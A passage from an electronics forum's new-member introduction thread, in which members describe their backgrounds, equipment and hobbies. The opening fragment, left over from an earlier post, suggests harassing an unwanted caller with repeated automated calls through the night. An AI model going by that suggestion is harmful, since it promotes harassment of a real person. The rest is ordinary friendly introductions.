Still, you've got his number, and he _wants_ you to call back So auto-call him back at random hours to remind him to remove your number from his phone. After a few days of getting woken up several times a night he might get it.
Title: Re: New Member, Please introduce yourself
Post by: Fireforge on December 18, 2012, 04:16:02 am
Hi, my name is David Salter. I recently got a BS in Electrical and Computer Engineering, currently looking for an entry-level engineering job. I'm from the east coast of the U.S.

I've been following Dave's videos for a while and now that I'm out of college I want to set up my own lab and start doing electronics at home.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 18, 2012, 04:32:32 am
TerraHertz He is the end product of the poor education system....... I doubt it would help even if you hit him with a clue by four all day long.
Title: Re: New Member, Please introduce yourself
Post by: rbid on December 22, 2012, 12:51:41 pm
Hello,

My name is Ricky Marek, also known as Rbid here in the forum.

I'm an Embedded Software engineer that is returning to electronics almost after few decades.. therefore be kind with my questions.

I was born in Tarija, Bolivia and now I reside in the Galilee.

Happy Holidays to all and a prosperous EEVBlog year.

--- Ricky Marek
Title: Re: New Member, Please introduce yourself
Post by: TMM on December 22, 2012, 02:49:02 pm
Hey guys/gals,

I'm Tim from Melbourne, Software Development graduate and ECSE student :-+

Mostly interested in Atmel AVR and audio related projects :)
Title: Re: New Member, Please introduce yourself
Post by: chris_wang87 on December 23, 2012, 01:59:12 am
Hello, everyone. My name is Chris from University of Southampton in UK. My project is on graphene production, but I am interested in electronics stuff, especially on mobile phones.  :D Actually, I know nothing about electronics. :palm: I want to learn from the basic part and try to make a mobile phone or at least something that would make a phone call later on.  ;D  |O
Title: Re: New Member, Please introduce yourself
Post by: MasterBuilder on December 23, 2012, 10:51:21 pm
Hi, My name is Mike. Im an electrical engineer working in machine building in Cork, Ireland.
Title: Re: New Member, Please introduce yourself
Post by: RoboKaren on December 24, 2012, 06:36:47 am
Hi -

I'm Karen from New Haven CT. My day job is teaching a non-EE subject, but by night I take things apart, put them back together again in new configurations, and have them occasionally blow up on me. :-) 

Nice to meet y'all.  :scared:

Karen
Title: Re: New Member, Please introduce yourself
Post by: RogerS on December 24, 2012, 09:39:51 pm
Hello,
My name is Roger, I am a BSEET with experience in Repair of Shipboard Radar and communications systems, Aerospace design development and ASIC manufacturing Automated electronic test engineering. I'm new here. I just recently discovered the EEV blog and have fun watching Dave and his zealous unscripted presentation style.
84/2 = 42, the answer to life the universe and everything...Douglas Adams "The Hitchhiker's Guide"
Title: Re: New Member, Please introduce yourself
Post by: RamboJj on December 25, 2012, 05:34:07 am
I've been visiting site for a while now and finally decided to register... I've also been watching the EEVBlog videos that Dave has been doing for some time now.

I'm an EE student right now about to get into the main parts of the degree path here shortly and in the mean time I've doing lots of crazy reading trying to get some better knowledge as to what's going in what I am going to be getting into.

I tend to make a lot of LED related items for both my motorcycles and friends bikes as well and I like to make my own PWMs for them as well as make flasher units to strobe the brakes on activation as well. but ultimately I will be getting into the biomed engineering with my masters and a BS in EE. So yeah, a little bit of an odd area that not many are doing but it's what I like.
Title: Re: New Member, Please introduce yourself
Post by: Tony. on December 25, 2012, 09:17:40 am
Hi from California!

Dave I've always been a fan of the Video blogs. Best channel on YouTube.
I'm and EE major at SDSU. First semester of Circuit Analysis and Logic Design went very well.
I'm 23 and have been tinkering for years with everything from Tesla Coils to high powered lasers to Arduino stuff. 

This forum seems to be one of the more active EE Enthusiasts boards I've seen. So I gotta join in on the fun.

-Tony
Title: Re: New Member, Please introduce yourself
Post by: einsvanian on December 26, 2012, 10:41:26 pm
Hi, my name is Paul, just dabbling in electrical and electronic applications for the hell of it. I have avionics training and have experience in working with electrical circuits while installing above and underground water tanks to include the pressurized plumbing and circuitry for residential homes. I currently work with solar panel systems and radio communication systems in remote locations at my current job.
Title: Re: New Member, Please introduce yourself
Post by: ashwobla on December 27, 2012, 07:38:11 am
I'm ashwobla from Beverley, East Yorks, England. I was raised by a Meccano-mad dad with a thirst for electro-mechanical stuff, and I qualified in electronics at Hull college in 1981. I took up computer programming after college (my first job was at British Aerospace at the dawn of PCs) but always loved tinkering. I have since worked at Comet UK, Mars Electronics, and in various corporate contract positions. I am now 50 and want to blow the cobwebs off my old Weller (which Dave says is a load if wank, so I shall bin it and buy anew).

PS my latest encounter with electronics was on contract at an Oxfordshire company which designed and built road traffic monitoring hardware, where I was the sole programmer on a handheld Compaq iPaq based data collection front-end, and also developed some ANPR apps.

PPS my greatest claim to Internet fame is my shareware app Snapper, which took and visually compared snapshots of drives/directories. Version 3 was adopted by AT&T, Bosch, Mars, J&J, Wendy's, etc, made quite a few quid for me, but is no longer available except to say there are a few clones out there still!!
Title: Re: New Member, Please introduce yourself
Post by: Wrongway on December 27, 2012, 06:40:04 pm
Hi,  I am Rob and like in the North West UK.  I stumbled upon this forum/community whilst Googling for some soldering iron recommendations.  I will be posting a query there next.  I have been involved in electronics since the 1970's when I was apprenticed as an electronics engineer and stayed in similar professions all my working life.  It marries well with other interests like radio control modelling etc.  Presently having fun playing around with Arduino projects and RaspberryPi.
Title: Re: New Member, Please introduce yourself
Post by: svofski on December 27, 2012, 09:56:52 pm
I'm an electronics hobbyist from St.Petersburg, Russia. My projects tend to be impractical and I like slightly offbeat stuff like nixie displays, CRT tubes, old displays, old computers and so on. Usually my projects would have some kind of AVR inside, sometimes an Altera FPGA, but lately I tried LPC21xx, PIC32 and now I'm building a project with an LPC1769 and I'm liking it. I usually make my PCBs myself. I speak Russian, English and Spanish.
Title: Re: New Member, Please introduce yourself
Post by: salluhassan on December 28, 2012, 04:46:28 pm
i am arslan , sallu as my nickname , student of computer science at National University of Computer and Emerging Sciences, but how to mention far-away west asian country of mine . Well i am from Pakistan . Just saw your energetic explaination of fake apple usb charger at Youtube when you were very much offended by creepy distance between circuit conducting lines. From that moment of time and till now i have been continuosly watching and downloading eevblog videos in to my notebook.
Title: Re: New Member, Please introduce yourself
Post by: Russell on December 28, 2012, 08:56:21 pm
HI, My Name is Russell and I am from south africa, I specialize in Mercedes Benz electrical/Electronics repairs.
I am a great Fan of Dave's show.

and here to learn and share.

Regards
Russell
Title: Re: New Member, Please introduce yourself
Post by: ilium007 on December 29, 2012, 12:54:46 am
Hi - my name is Brant and I am from Brisbane, Australia. I have started an electrinics engineering degree but life committments got in the way. I am an avid electroncis hobbyist and have a passion for learning.
Title: Re: New Member, Please introduce yourself
Post by: edm68 on December 29, 2012, 07:33:35 am
Hello, my name is Ed and I've been interested in electronics for about 10 years. On and off depending on my work schedule. I've been reading the forum for about a year or so. Very informative. I'm just a hobbyist so I doubt that I will add much but I will try.
Title: Re: New Member, Please introduce yourself
Post by: Mike_H on December 29, 2012, 07:01:27 pm
Hi All,
My name is Mike and I am from Paris, Ontario Canada. I'm a fat old guy! My original training was as an electronic tech 35 years ago. I now work with PLC s.
I have decided to get back into electronics as a hobby, and have been watching Dave's videos for a while to help be outfit my bench.

I'm more of a lurker than a poster, but will ask many questions!

Mike
Title: Re: New Member, Please introduce yourself
Post by: (In)Sanity on December 30, 2012, 06:27:22 am
The name is Jeff,  I've been working with electronics for about 25 years now as a hobby.  My main field is software engineering/ programming.   I have a couple scopes,  many multimeter's including a 3457a,  Fluke 8050,  Few B&K's ,  B&K 879B after Dave's review.   Hot air rework station,  etc etc.   Typical electronics lab setup.   My main focus is on RF and micro controllers not necessarily together,  PIC's being my choice of flavors.   I'm big on power supply designs as well,  switch mode and linear.   I rarely use anything I design it's mainly about learning for me.   I did design and use a PIC based 5 input slope compensated solar hot water controller for several years until the whole system was replaced.   LCD readout and such with proper safety control and watchdogs.  Was based on a PIC 1320.   I've done 1000V supplies to M&M counters.   

Just kind of a quick blurb.

Jeff
Title: Re: New Member, Please introduce yourself
Post by: Stonent on December 31, 2012, 05:41:39 pm
I'm Jason aka JasonthePCMD on youtube.  I have a small channel here:
https://www.youtube.com/user/JasonthePCMD (https://www.youtube.com/user/JasonthePCMD)
http://jasonthepcmd.blogspot.com (http://jasonthepcmd.blogspot.com)

I got inspired to do my channel from EricTheCarGuy and RealFixesRealFast (car repair) but mine focuses on computer repair.

If you're interested, have a look and a subscribe.  I don't have a real video camera so all my videos are shot from the various Android phones I've had, but my current phone does 1080p@30fps so quality is getting better.

I used to do more videos because my desk was in the basement of the company I worked for and I frequently worked late.  My new employer does not allow the usage of any recording devices in their facility except for explicit company business. So I have less that I can film now. I do occasionally do short videos of car repairs that I've done (mostly troubleshooting an OBDII code and how I fixed it)

Anyway I did post an intro on a separate thread not catching this one.

Right now I work in IT at a vehicle assembly plant supporting plant operations and such. Previously I worked in IT in various support roles at a Pharmaceutical company, originally supporting their corporate division, but then went to sales support, and later Research and Development support.

Probably one of the coolest jobs I had was working as a contractor for the American division of the Canadian division of an Australian company called Adacel Systems which built Air Traffic Control training systems. I was a test and assembly technician and got to go to a few military bases to install these systems.

That was a fun job.

Electronics wise, I grew up on the Radio Shack (elenco) 50 in 1, 60 in 1, and 200 in 1 kits, but got my first computer later and ended up focusing on that side.
Title: Re: New Member, Please introduce yourself
Post by: nzCdog on December 31, 2012, 09:56:07 pm
Hi.. I'm Corey from CHCH NZ
Hobbyist turned technician... well hoping to get my first job this year after a years study at a technical institute.  I love learning :D
Title: Re: New Member, Please introduce yourself
Post by: kurnia putra on January 03, 2013, 11:00:01 am
Hi Everyone, My name is Kurnia Putra from Indonesia, I am an Amateur Radio with the call sign YCOKPN.
For time being I live with my family in Jakarta the capital city of Indonesia.
I am working in an Advertising Agency and one of my hobby is making experiment  good Antennas especially in VHF.

I have several antenna Analyzers such as RIG EXPERT AA-230 PRO, MFJ 259B, AIM 4170C,  VNA 2180.

I am not a technician but I always learn how to improve my knowledge in Technique Radio. :phew:

Thank you and '73




Title: Re: New Member, Please introduce yourself
Post by: djlorenz on January 03, 2013, 06:59:14 pm
Hi everybody!

I'm Lorenzo from ITALY,
im 24yo and i'm studying electronic engineering + i work for siemens in the fieldbus world + i work in club for light j + i have a little service of lasershow and lighting

i really liked your videos and i registered to this forum, hope to find good stuff here...

time is really low, but i like to experiment, and maybe in the future make some good project...

cheers!
Lorenzo
Title: Re: New Member, Please introduce yourself
Post by: ChrisGreece52 on January 03, 2013, 11:02:31 pm
Hey I am Chris i live in Greece and i am a High School student.Greek is my native language so sorry for any trouble that occurs due to lack of inteception.I am involved in basic electronics(i love soldering , experimenting on breadboards ICs (especialy 555 timer chip i love that chip) , building circuits and stuff). My ideal studies would be on electronics engineering because i love creating project or experimenting with ones i find online.
THANNK AND I HOPE I AM WELCOME !!!
Title: Re: New Member, Please introduce yourself
Post by: Sam-Z on January 04, 2013, 02:32:02 am
Hi, everybody, i am Sam. i am a student from China. My hobby is about electronic &computer.  I want to be an electrical engineer. :)
Title: Re: New Member, Please introduce yourself
Post by: toby on January 04, 2013, 11:26:04 pm
Good evening, good morning, or what ever time your are reading this! My name is Tobias, I'm 24 years old and I live in Germany. For the past 4 years I've studied electrical communication engineering and i'm currently writing my master thesis (working on a carrier recovery system for a satellite communication link in the E-band).
Title: Re: New Member, Please introduce yourself
Post by: Simeon on January 05, 2013, 08:13:14 pm
Hi.
My name is Simeon Vasilev Petkov.I am form Bulgaria, 15 years old.
I do electronics since 4 y/o.At 7 i did my first amp with LM1875 and it still works.
Excuse me, but my english is quite bad.
 
Title: Re: New Member, Please introduce yourself
Post by: StuUK on January 07, 2013, 10:09:53 pm
Hi

I'm Stuart from the UK and have recently taken up Electronics again as a Hobby after being seduced into Computer programming back in the late 70's. After many years in software I've rediscovered my interest in the electronics side of things. Wow, how things have changed....... Currently messing about with Arduino and Raspberry but keen to roll my own from scratch....
Title: Re: New Member, Please introduce yourself
Post by: misisoso on January 09, 2013, 06:25:53 am
Hello, I am from Slovakia, I study at Slovak University of Technology, Faculty of Electrical Engineering and Information Technology, Robotics. I liked electronics all my life, but only about half year ago, after sight of EEVblog, I started to pay more attention to electronics, I bought my first oscilloscope (Rigol DS1102E) on Daves recommendation and also bought my first real meter, Fluke 187, also on Daves recommendation. I could afford those, because I started to work at company, which does Process automation. The project I am just working on, is my Diploma thesis. After it is finished, it will be Developement kit for XBee with HMI. HMI will consist of 4*20 character LCD module, PIC micro (18f2320). encoder and few diodes. This whole solution should be used in learning process, to accustom student with XBee technology and to prevent them from connections and blowing up the XBee, or their circuits.
Title: Re: New Member, Please introduce yourself
Post by: Mad Professor on January 10, 2013, 03:23:47 pm
Hi All.
 
My name is Mark, aka "Mad Professor", I am 30, and from the "Isle Of Wight (http://en.wikipedia.org/wiki/Isle_of_Wight)", a small 20x25mile island here in the UK.

I have basic electronics knowhow, and wanting to learn more.

Best Regards.
Title: Re: New Member, Please introduce yourself
Post by: darkwire on January 10, 2013, 05:03:37 pm
Hi my name is Metui. I'm an Computer Technician, recently found out that addicted to electronics some years ago. Found this site useful and i hope learn and help alot from here.
Title: Re: New Member, Please introduce yourself
Post by: Agenthector on January 10, 2013, 07:09:11 pm
I'm Hector. I'm currently in my 4th year studying electrical engineering at the University of Texas at San Antonio. I have an interest in robotics and controller design and have been playing with electronics for almost a decade.
Title: Re: New Member, Please introduce yourself
Post by: UberVento on January 11, 2013, 03:50:49 pm
Hi yall, and that is an appropriate hello from the state of Kentucky here in the U.S. My name is James, I am a hobbyist and want to learn more about electronics. So here I am.
Title: Re: New Member, Please introduce yourself
Post by: tbbw on January 13, 2013, 06:38:08 am
Welo guys :)
I'm one of those tinkerers that like taking stuff apart ever since i was a kid, do build my own stuff from time to time but i find that special satisfaction if it's majority of scavanged parts :)
Other then that i'm abit of a shopaholic when it comes to tools and handy stuff... lol
Atmel and Arm are my favorites since i enjoy both windows and linux.
Own a few boards i reflashed or modifyed so they run linux and i see what more i can make them do after i got to that part... yeah a tinkerer and fiddler is what i like to think of myself as :)
Title: Re: New Member, Please introduce yourself
Post by: SLJ on January 13, 2013, 01:58:20 pm
Welcome everyone (although I'm rather new here myself). 

It would help if those of you that have not done so, update your profile to include your country.  This will help with others replying to your posts as many of the discussions here especially relating to equipment and parts availability, and costs are sometimes dependent on location.
Title: Re: New Member, Please introduce yourself
Post by: HinesNetwork on January 14, 2013, 02:43:10 am
Hi all,

I have my own company doing technical support for windows and OS X, and a little unix. Most of my electronics knowledge is from being a car audio (I was certified back in the day) and custom home theater installer. Almost all of my electronics are hobby at this point.
Title: Re: New Member, Please introduce yourself
Post by: martin on January 14, 2013, 09:20:20 am
Hello,
I am an electrician, who later studied art, born in Switzerland and living in Finland. Here I work as a lecturer at the local University of Applied Sciences and as an Artist.
In most of my art-projects, I am making use of my growing electronic skills: http://www.mar.li (http://www.mar.li)
I am also a freelance-workshop-host and teach the creative use of code and electronics in artistic projects on different continents.
In my spare-time, I enjoy to build synthesizers and other noisy or noise altering devices.
Title: Re: New Member, Please introduce yourself
Post by: sherlock on January 15, 2013, 03:22:16 pm
New guy on the block....  I'm a Product Engineer at a company in New Jersey USA that designs and manufactures Shoplifting Prevention Equipment.  Yes, I know how to defeat those systems, no, I don't do it, and no, I won't tell you how either.   :--   I'm a semi-active Ham Radio Operator in my spare time.  And I drive a BMW.   :-+

sherlock
Title: Re: New Member, Please introduce yourself
Post by: andrea87 on January 15, 2013, 08:50:41 pm
Hello :)

I'm Andrea, 25, from Italy. I am an electronics technician, born mostly as an hobbyst. My passion started growing increasingly when I was about 10, and well, here we are.
Actually i do work weekends at big electronics store, yet to find something deeper related to electronics.

I discovered eevblog from youtube, and got out quite some useful info. I might send Dave a postcard next time I go hiking up in the mountains :)

I've built perhaps anything. From power supplies, to audio amplifiers (headphones also), to instrumentation (last project was a frequency counter).
Also some crazy stuff. Had 2 tesla coils (vacuum tube powered), dismantled later due to their size and potential hazard with their voltages; couple of other high voltage projects and so.

Another deep hobby I have is Photography. I use some nikon equipement (D90 + 18-105 + 35mm 1.8 + 50mm 1.8), I'm a lot into macros, sometimes with lots of diy to archieve good results. I like to photograph nature, often on sundays I'm out hiking with some friends, always with my dslr in my backpack.
Title: Re: New Member, Please introduce yourself
Post by: cjc on January 16, 2013, 10:58:01 pm
Hi All,

I'm CJ.  I'm 47 and don't know much about electronics or electrical wiring.  Did great in advanced physics courses (way back when) and even worked for Agilent as a software engineer, but somehow never really learned anything practical...in the field of electronics.  Anyway, my husband and I moved to an old farm house and I'm learning/wanting to learn a whole host of practical things.  Like yesterday I learned how to operate a tractor.  So why am I here?  Well, I set out to diagnose and fix our well pump system which lead me to realize I need a multimeter and Dave's fantastic review of the Fluke 117.  Mostly I need to learn how to be a DIY handyperson around this place.  We will be doing a remodel next year and hopefully doing as much of everything as possible ourselves.  Can anyone help me chose between the Fluke 117 and 177?  No plans at this time to build robots or design circuit boards, but I can see learning how check/install fixtures, repair lights, install thermostats, work on greenhouse heat mats, fans and lights etc.  I can see wanting to know if there is wiring in a wall before tearing into it, or check electrical if some piece of equipment won't start.  Okay, hopefully you all know better than I do what I might need.  I did want a Fluke because I don't want to have to wonder if something isn't working whether it's me or my meter.  Any and all advice appreciated. CJ
Title: Re: New Member, Please introduce yourself
Post by: funk1980 on January 17, 2013, 10:24:07 am
Hello everybody,
My name is Thijs de Bont, 32 years old, from Holland. Electronics in general have been a hobby off and on for many years now. About three years back It's been getting more serious with the development of my personal bass tube preamp. Old scool technology with unbeatable tone, combined with moderm functionalities. I came across the Eevblog when searching for a new multimeter. Dave's review videos of DMM's in different price catagories helped me A LOT. Then I discovered there was a huge electronics scene behind this aussie blogger :). I've been a passive guest for some time now. Time to become more involved!
Title: Re: New Member, Please introduce yourself
Post by: W6dej on January 17, 2013, 11:21:26 pm
Greetings,
I am a retired PBX Tech/Manager living in the Central Valley of California. I have been enjoying Dave's videos for a couple of weeks now, after getting the bug to learn more about electronics. I have been a ham for 36 years and even passed the Extra Class exam, but I have never done much building of circuits or working with design and prototyping. I know a lot of theory, but now I really want to put it to practice. I have equipped a desktop in my hamshack/office which I intend to dedicate to electronics projects. I bought a new soldering station (Hakko like Dave has  :)) and a bunch of parts including a grab bag of capacitors (that was a waste of money). I did have enough sense to get an assortment of resistors that are in labeled bags. I also purchased a couple of breadboards, an Arduino Uno board, some jumpers, LEDs, and heatshrink tubing. I already had all the tools I need and a good Fluke 179 meter so I'm ready to go.

I have been playing around with a 555 timer chip, trying to get an LED to flash. I can get it to turn on, but not flash.  I don't know if my schematic is wrong or my eyes are not as good as they used to be, but I welcome the challenge at this early stage of a new hobby and look forward to making it go.

Under the "Impossible But True" category, I repaired my cherished Klipsch earbuds that sadly lost the right channel a while back. Wiggling the wire at the plug verified that something was loose or shorted. With the new soldering iron and a good magnifying glass I was successful in making the repair. Some quick research uncovered a site that described how to remove the enamel coating from the tiny strands. I used a butane torch to carefully burn everything but the wire away. After that it was pretty easy. Here's a photo to prove I did it!



Forums are my favorite form of communication. I have created and run several over the years for various interest groups. So I am looking forward to scoping out all of the interesting posts and helpful comments.

Don
W6DEJ
Title: Re: New Member, Please introduce yourself
Post by: Wuerstchenhund on January 18, 2013, 06:26:36 am
Hello there!

Another new member. After reading for a while I thought it was about time to register. I'm an Aerospace/Electronics Engineer, mostly working with RF (RADAR stuff), and a pilot. Privately I started building my own lab again, and I'm now beginning to become a bit more familiar with the regular electronics stuff out there.

Thanks for reading, and I'm looking forward to lots of interesting discussions!
Title: Re: New Member, Please introduce yourself
Post by: gregor on January 20, 2013, 01:35:04 pm
Hi and hello :) I'm from central of Europe ;) My hobby and profession is control engineering/automation, electronics and everything what is named programming.
Title: Re: New Member, Please introduce yourself
Post by: HarryWeston on January 20, 2013, 05:30:47 pm
Hello. I am Harry Weston from England 82 years old, fit and well, using this brilliant hobby to delay the inevitable as long as possible. I am a radio amateur, call signs M1ETU and M0SOP and like to build my own gear. I've followed the eevblogs from the start, and bought my Rigol 'scope as a result. Very best wishes to all on the forum, and 73 in hamspeak. (why no smiley with a beard? :-)#
Title: Re: New Member, Please introduce yourself
Post by: d-sier on January 20, 2013, 10:07:55 pm
Hi, I'm Björn from Sweden. Computer systems consultant and used to work as a programmer (web and robotics).
I have always been tinkering around with electronics, but now I felt it was time to become more active.

I'm useless on analog but not quite as bad on digital.

My cat Tesla says hi :)
Title: Re: New Member, Please introduce yourself
Post by: ivaylo on January 21, 2013, 10:12:24 pm
Hi all, originally from Eastern Europe, live in the States now. Used to do electronics as a teenager back in the 80s. End up doing software for the web and what not for the past 20 years. Trying to reconnect with my analog twin now and really appreciate your'all knowledge and humor...
Title: Re: New Member, Please introduce yourself
Post by: timonthegreat on January 23, 2013, 01:29:05 am
Hi, my names Timon ( pronounced  " tee-mon" )  and I'm not electronics engineer (still in high school) I have been signed up for a couple of weeks now, just haven't introduce myself yet. Currently I haven't exactly got a lab (just my bedroom) (at the moment) um... I do know how to solder, I have also been doing some arduino stuff lately (not much)
( insert other stuff )



-Timon
Title: Re: New Member, Please introduce yourself
Post by: ehayashi300 on January 23, 2013, 02:41:39 pm
Hello Everyone

I am Edward from Newport, VA near Jefferson National Forest. I have been tinkering with the Raspberry Pi and recently purchased an arduino development kit.  I hope I will be able to write about some of my fun project here and maybe get advice.

Edward
Title: Re: New Member, Please introduce yourself
Post by: PICmonster on January 24, 2013, 06:53:16 pm
Hi I'm Jim I regard myself as an enthusiastic professional Chartered engineer with a true passion and interest for engineering subjects, from an early age I have had a self-drive and passion for engineering subjects especially electronics, I began my engineering journey by learning to read circuit diagrams and assembling electronic circuits from the age of 9; I thrive on technical stuff and have always had an interest in technical subjects. Throughout my career I have gained knowledge and experience at every level of the electronics industry, starting as an electrical maintenance apprentice in 1979 and advancing to Research & Development later in my career.
Title: Re: New Member, Please introduce yourself
Post by: 0xFFFF on January 25, 2013, 09:06:41 am
Hey All,

I'm an enthusiast. In my spare time I develop hardware and software. My strong point is NFC / RFID.

Regards,

Kev
Title: Re: New Member, Please introduce yourself
Post by: WV1800es on January 25, 2013, 06:47:16 pm
Hello World-
This is Bruce, I've been inventing, tinkering, repairing, designing and documenting for as long as I can remember.  Personally, I think this digital thing is all a scheme that's bound to fall apart, and we'll all find ourselves back in analog bliss...:-)  I've worked in telecommunications, TV ratings, educational equipment and textbooks, digital subcarrier radio, and A/V system installation and design.  Not to mention baking and dairy farming.  Got a few nice old radios, including a floor model Philco that has FM.  Also rebuilding a '72 Volvo 1800es for it's 40th birthday.  Right now I'm drilling for free electrons, hoping to find a good source-
Title: Re: New Member, Please introduce yourself
Post by: eyebrow on January 27, 2013, 05:53:30 am
Hi, I'm Dwayne and I run a makerspace in Perth http://westcoastmakers.com (http://westcoastmakers.com) I work for Rio Tinto and in my days off I look after the OpenLab Hobby Engineering web store.

I play with 3D printing a bit, just recently purchased a printrbot+ and have achieved good results with this.
Also been playing with the xbox kinect and reconstructme software to create 3D images of peoples mugs....then print them out.

Look forward to getting involved in the forum.
Cheers
Title: Re: New Member, Please introduce yourself
Post by: 64bitDOS on January 31, 2013, 12:57:19 pm
Hi, My name is Steven.

I'm retired. Current project: High stability, constant current diode LASER power supply and TEC controller for use in holography.
Future project: Tesla coil powered with 3 x 8kV @50mA NST in parallel.
 
I found this site while looking for a digital storage scope and spotted the EEVblog review of the DS1052E on youtube.

Test gear:
DS1052E :-), Tektronix 2205 (owned since new), Macaroni TF2341 200MhZ frequency counter inc high stab ref (fleabay), Fluke 25 DMM (fleabay), Farnell LT30-2 PSU, Wavetek 182A function gen (fleabay).
Waiting for my latest fleabay purchase to arrive: Fluke 8840A. :-)
Title: Re: New Member, Please introduce yourself
Post by: KrisBlueNZ on February 03, 2013, 09:11:59 am
Hi all,

I'm Kris in Wellington, New Zealand.

I've been a design engineer and programmer for embedded systems for 20 years, dealing mainly with industrial I/O for monitoring and control, power/battery, and data communication. I've worked with 6303, 8051, AVR, x86 and MSP430 architectures, and a few others.

I contribute on electronicspoint as KrisBlueNZ (http://www.electronicspoint.com/members/krisbluenz.html (http://www.electronicspoint.com/members/krisbluenz.html)). For more see https://plus.google.com/101133174323664090405/about (https://plus.google.com/101133174323664090405/about).
Title: Re: New Member, Please introduce yourself
Post by: rgbit on February 03, 2013, 07:44:20 pm
Hello

I'm Ruben, from Spain.  35 years soldering all kinds of electronics  >:D . I was reading some EEVBlog articles on past months, and finally I'm registered.

Good night to everybody from Spain.
Title: Re: New Member, Please introduce yourself
Post by: daqq on February 04, 2013, 02:11:35 pm
Hi guys,

So, I'm David from Slovakia. I've been watching the EEVBlog for some time and I've finally registered onto the forum. I'm a hardware developer and enjoy electronics as a hobby as well.

So... Hello from Slovakia!  :P

David
Title: Re: New Member, Please introduce yourself
Post by: mswhin63 on February 04, 2013, 02:44:02 pm
Hi All,

My name is Malcolm Whinfield from Western Australia. I am a qualified Radio Technician for 30 years. I have a business in electronics but am winding things down a bit and have gone back to Uni now in my 2nd year Double Degree Physics and Electronic Engineering (Communications.

I am now getting back into the thrill on design work compared to the majority of my life debugging. I hope to use this skill to help my way through Uni.

I am enjoying the Blogs now and find them refreshing to listen to. I miss the true blue Aussie accent, fortunately I have not lost it as yet.

Other than my electronics background I also enjoy Astronomy and maybe incorporate both in my future. I have already carried out a small amount of work at the Murchison Widefield Array and enjoyed 2 weeks of a good hard slog. I am also a qualified AUSLAN (Australian Sign Language) interpreter but no longer work in the industry and enjoy woodworking and building things. At the time of writing I have in process a CNC machine, building bicycles for the family and many more.
Title: Re: New Member, Please introduce yourself
Post by: davyk on February 04, 2013, 10:50:06 pm
Hi guys,
I'm vYk and I was looking for a solution about a function generator I own. I found the answer in this forum:
the user Mechatrommer made a wonderfull work adding function to the software's device and another user (torch) gave me the link to download it.
Many thanks guys

Regards,
vYk
Title: Re: New Member, Please introduce yourself
Post by: terryk87 on February 06, 2013, 04:56:37 pm
Hello all,

I'm Terry Karlson, doing some electronics design and firmware consulting, based in Ontario, Canada.  This seems like a great place to exchange ideas and experience!  Looking forward to it.

-TK
Title: Re: New Member, Please introduce yourself
Post by: pb57 on February 07, 2013, 04:34:14 pm
Hi all,

My name is Petter, I recently discovered the EEblog and forum while searching for a new oscilloscop on the net.
And is now the happy owner of a Rigol DS1052E scope. Thanks to Dave's product reviews.
Not yet updated the firmware (ver.00.02.06) to DS1102E. :-BROKE

I've had electronics as a hobby for 30 years and has worked with the production and test of electronic equiment
for 20 years. Most of the hobby electronics I'm doing is related to model railroad, analog and digital controllers etc.

If you look at the link in my profile to the modelrailroad club where I'm a member, you can see some of the things I'm working on these days.

Have found a lot of answers and ideas on this forum to help develop my hobby. Thanks.

Regards
Petter

Title: Re: New Member, Please introduce yourself
Post by: tcdrennen on February 07, 2013, 06:39:23 pm
Hey people, nice forum.

I'm a test engineer for an EMS in the USA with operations in California and in China. We do a lot of failure analysis and debug for our customers so I get to work with a lot of different systems and circuits - DC through 2.4GHz, digital, analog, mixed signal.

I found the forum searching for info on the MasTech RCL meter but will be exploring the rest of the forum as time permits.
Title: Re: New Member, Please introduce yourself
Post by: nathancrum on February 08, 2013, 08:24:37 pm
Hello everyone,

My name is Nathan - I'm a mechanical engineer with about 10 years of experience in materials handling and vacuum thin film coating technologies (sputter magnetrons, ion sources, plasma beams, etc.).

I'm not actually sure how I got turned onto the EEVblog, but I've been watching the videos for awhile and especially like the power supply set - I finally came to the forum to see what happened (if anything) after the 12th installation..

My day job is mechanical, but I have quite a few electronics hobbies.  I'm pretty good with C & C++ and have been playing more and more with microcontrollers the last few years.  I am currently designing a 3D printer with a partner that's an EE and am enjoy learning in general about anything electrical.  I also like astrophotography, regular photography and time lapse photography.
Title: Re: New Member, Please introduce yourself
Post by: Huluvu on February 10, 2013, 04:02:37 pm
Hi All,

My name is Arne, and while discovering the web regarding some Multimeter reviews/teardowns I found the EEVblog on YouTube  :-+
I'm an 41 Years old and Electronic Technician in an International Company.
Our R&D Location in Germany is developing OEM power supplies for Industrial and Medical Applications.

Since 5 Years i'm working for the Quality Department.
Title: Re: New Member, Please introduce yourself
Post by: Goiano on February 10, 2013, 08:47:41 pm
Hello I'm from Brazil. I am currently studying electronics. I have a service here in Brazil repair TV, phone and notebook.
I really enjoyed the subject matter covered in the videos of our master administrator, and here in my country we lay technology.
Currently studying English for contacting people with an interest in electronics and programming. to be able to talk and exchange information and learn about the customs of other countries.
Best regards,

Cristian - Goiás - Brazil
Title: Re: New Member, Please introduce yourself
Post by: shaddai on February 11, 2013, 02:19:58 am
I'm todd, and I'm an audio geek. I've always had an underlying interest in electronics, have dabbled in analog electronics repair and now am tinkering with microcontrollers. So, here I am  ^-^
Title: Re: New Member, Please introduce yourself
Post by: Analogtech on February 12, 2013, 09:59:39 pm
Hello, I'm raul im 14 yrs old and i am currently studying in the 9th grade i like building analog circuits mostly HV powersupplys and SMPSs hopefully i can recive help on my projects and help people on theirs
Title: Re: New Member, Please introduce yourself
Post by: Psychaotix on February 12, 2013, 10:51:56 pm
Hello to everyone here.

I'm Gary, a 25 year old from South Australia. Electronics is more my hobby than a profession, one that I'm looking to get back into after being out of it for a while. Already, I've had some help with getting a suitable printer for Toner transfer masking. Hopefully I'll see you around!
Title: Re: New Member, Please introduce yourself
Post by: Orpheus on February 14, 2013, 04:41:10 am
I've been lurking for years. I can't believe I never registered. I always assumed I had, but my password registry has no record of it

I'm a molecular biologist and physician by training, but I always intended to be a biomedical inventor on the side. I was a builder, hobbyist and amateur scientist of all types growing up, and had intended to do biomedical engineering as an undergrad. Alas I APed out of basic calc/bio/chem/phys, so my first semester was all hard-core engineering  -- and as those of you who did E school know, that can be dry/dreary with none of the joy I knew from my hobbies -- especially circuit theory! I wouldn't have believed you could suck the fun out of that with an amorous vampire! The upper classmen assured me that it would be more of the same with maybe ONE optional practical course, especially in bio-med, because it had more required courses than any other major in the university

